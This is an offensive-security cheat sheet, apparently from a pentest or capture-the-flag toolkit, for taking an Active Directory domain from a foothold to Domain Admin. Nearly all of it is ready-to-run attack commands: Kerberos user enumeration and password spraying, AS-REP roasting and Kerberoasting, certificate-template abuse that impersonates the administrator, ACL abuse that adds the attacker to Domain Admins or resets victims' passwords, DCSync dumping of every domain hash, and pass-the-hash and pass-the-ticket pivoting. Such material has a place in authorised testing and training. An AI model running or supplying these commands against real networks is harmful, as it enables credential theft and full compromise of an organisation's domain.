# ad — Active Directory: roast, sync, forge, pivot
Kerberos, ADCS and ACL abuse from a foothold to Domain Admin. Map the graph first
with `cheat bloodhound`, spray/exec with `cheat nxc`. Most stars default their DC to
`$TARGET` — set it once with `t <dc-ip>`. Crack loot with `hc-rock <mode> <file>`.
## Enumerate users (no creds needed)
- **`kb-users <dc-ip> <domain> [wl]`** — kerbrute `userenum` against the DC; valid names come back with no auth. dc defaults to `$TARGET`, wl to `$USERNAMES`. Fast, and only mildly loud.
- Raw: **`kerbrute userenum --dc <dc> -d <domain> $USERNAMES`** · **`kerbrute passwordspray -d <domain> valid_users.txt <pass>`** (spray — lockout risk, careful).
- Feed the confirmed list straight into `asrep`.
## AS-REP roast (users with pre-auth disabled)
- **`asrep <domain> [dc-ip] [userlist]`** — `GetNPUsers.py <domain>/ -dc-ip <dc> -no-pass -usersfile <wl> -format hashcat -outputfile asrep.txt`. dc → `$TARGET`, wl → `$USERNAMES`. No creds required.
- Writes **`asrep.txt`**; crack with **`hc-rock 18200 asrep.txt`** (mode `18200` = AS-REP).
- Known user, targeted: **`GetNPUsers.py <domain>/<user> -no-pass`** — if it returns a hash, `DONT_REQ_PREAUTH` is set.
## Kerberoast (crack service accounts)
- **`kerberoast <domain> <user> <pass> [dc-ip]`** — `GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <dc> -request -outputfile kerberoast.txt`. Needs any valid domain creds; dc → `$TARGET`.
- Writes **`kerberoast.txt`**; crack with **`hc-rock 13100 kerberoast.txt`** (mode `13100` = TGS-REP RC4).
- Pass-the-hash instead of a password: **`GetUserSPNs.py <domain>/<user> -hashes :<NTLM> -request`**.
- **`targetedKerberoast.py -d <domain> -u <user> -p <pass>`** — abuse GenericWrite/GenericAll on a user: set a temporary SPN, roast it, remove it. Roasts accounts that have **no** SPN. Great post-ACL step (loud in logs).
## ADCS — find and abuse cert templates
- **`adcs-find <domain> <user> <pass> <dc-ip>`** — `certipy find -u <user>@<domain> -p <pass> -dc-ip <dc> -vulnerable`. Flags ESC1-ESC16 in one pass. Nothing defaults here — pass all four args.
- Raw **`certipy-ad`** (`certipy`) request → auth flow for **ESC1** (template lets you set SAN):
```
certipy req -u user@dom -p pass -ca <CA> -template <tmpl> -upn administrator@dom -dc-ip <dc>
certipy auth -pfx administrator.pfx -dc-ip <dc> # → NT hash + TGT (KRB5CCNAME set)
```
- **ESC8** (NTLM relay to web enrollment): `certipy relay -target http://<ca-host>` then coerce. The `.pfx` → hash → feed `pth`/`ptt`.
## ACL abuse — bloodyAD
Turn a BloodHound edge into a concrete change. Point `--host` at the DC.
```
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> add genericAll <target> <you>
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> set password <victim> 'New!Pass1' # ForceChangePassword (destructive)
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> add groupMember 'Domain Admins' <you>
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> set owner <target> <you> # WriteOwner → then genericAll
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> add dcsync <you> # grant self replication → then dcsync
```
## DCSync — pull the hashes (endgame)
- **`dcsync <domain> <user> <pass> [target-user]`** — `secretsdump.py <domain>/<user>:<pass>@$TARGET -just-dc-user <target-user>`. target-user defaults to **Administrator**. **Note: the DC host is `$TARGET`** — `t <dc-ip>` first, the 4th arg is only *which* account to dump.
- Needs DS-Replication rights (DA, or an ACL edge granted above). **`krbtgt`** is the prize → Golden Ticket material.
- Whole domain: **`secretsdump.py <domain>/<user>:<pass>@<dc> -just-dc`** (all hashes, loud).
## Pivot — pass-the-hash / pass-the-ticket
- **`pth <user> <NTLM-hash> [target]`** — prints ready-to-run PtH lines; target → `$TARGET`:
```
evil-winrm -i <t> -u <user> -H <hash> psexec.py -hashes :<hash> <user>@<t>
wmiexec.py -hashes :<hash> <user>@<t> netexec smb <t> -u <user> -H <hash> --shares
```
- **`ptt <ticket.ccache> [target]`** — prints PtT lines; it does **not** export for you — run the `export` it prints:
```
export KRB5CCNAME=<ticket.ccache> # the ccache impacket -k reads
psexec.py -k -no-pass <t> wmiexec.py -k -no-pass <t>
netexec smb <t> -k --use-kcache
```
| Env / flag | Meaning |
|---|---|
| `KRB5CCNAME=x.ccache` | ticket cache impacket & nxc read for `-k` |
| `-k -no-pass` | authenticate with the ccache, no password |
| `--use-kcache` | nxc: use `$KRB5CCNAME` instead of creds |
| `-hashes :<NT>` | LM:NT — leave LM empty, `:` prefix |
- `.kirbi` ↔ `.ccache`: **`ticketConverter.py in.kirbi out.ccache`**. Clock skew kills Kerberos — **`ntpdate <dc>`** / `faketime` if `KRB_AP_ERR_SKEW`.
## Hashcat modes (quick ref)
| Mode | Hash |
|---|---|
| `18200` | AS-REP (asrep) |
| `13100` | Kerberoast TGS-REP RC4 (kerberoast) |
| `19600/19700` | TGS-REP AES-128/256 (if RC4 disabled) |
| `1000` | raw NTLM (dcsync output) |
> Order of operations: `kb-users` → `asrep` (free) → any-cred → `kerberoast` + `cheat bloodhound` to find the path → `bloodyAD`/`adcs-find` to walk an edge → `dcsync krbtgt`. Every `certipy auth` and `*.py -k` run reads `$KRB5CCNAME` — `echo $KRB5CCNAME` when Kerberos "randomly" fails.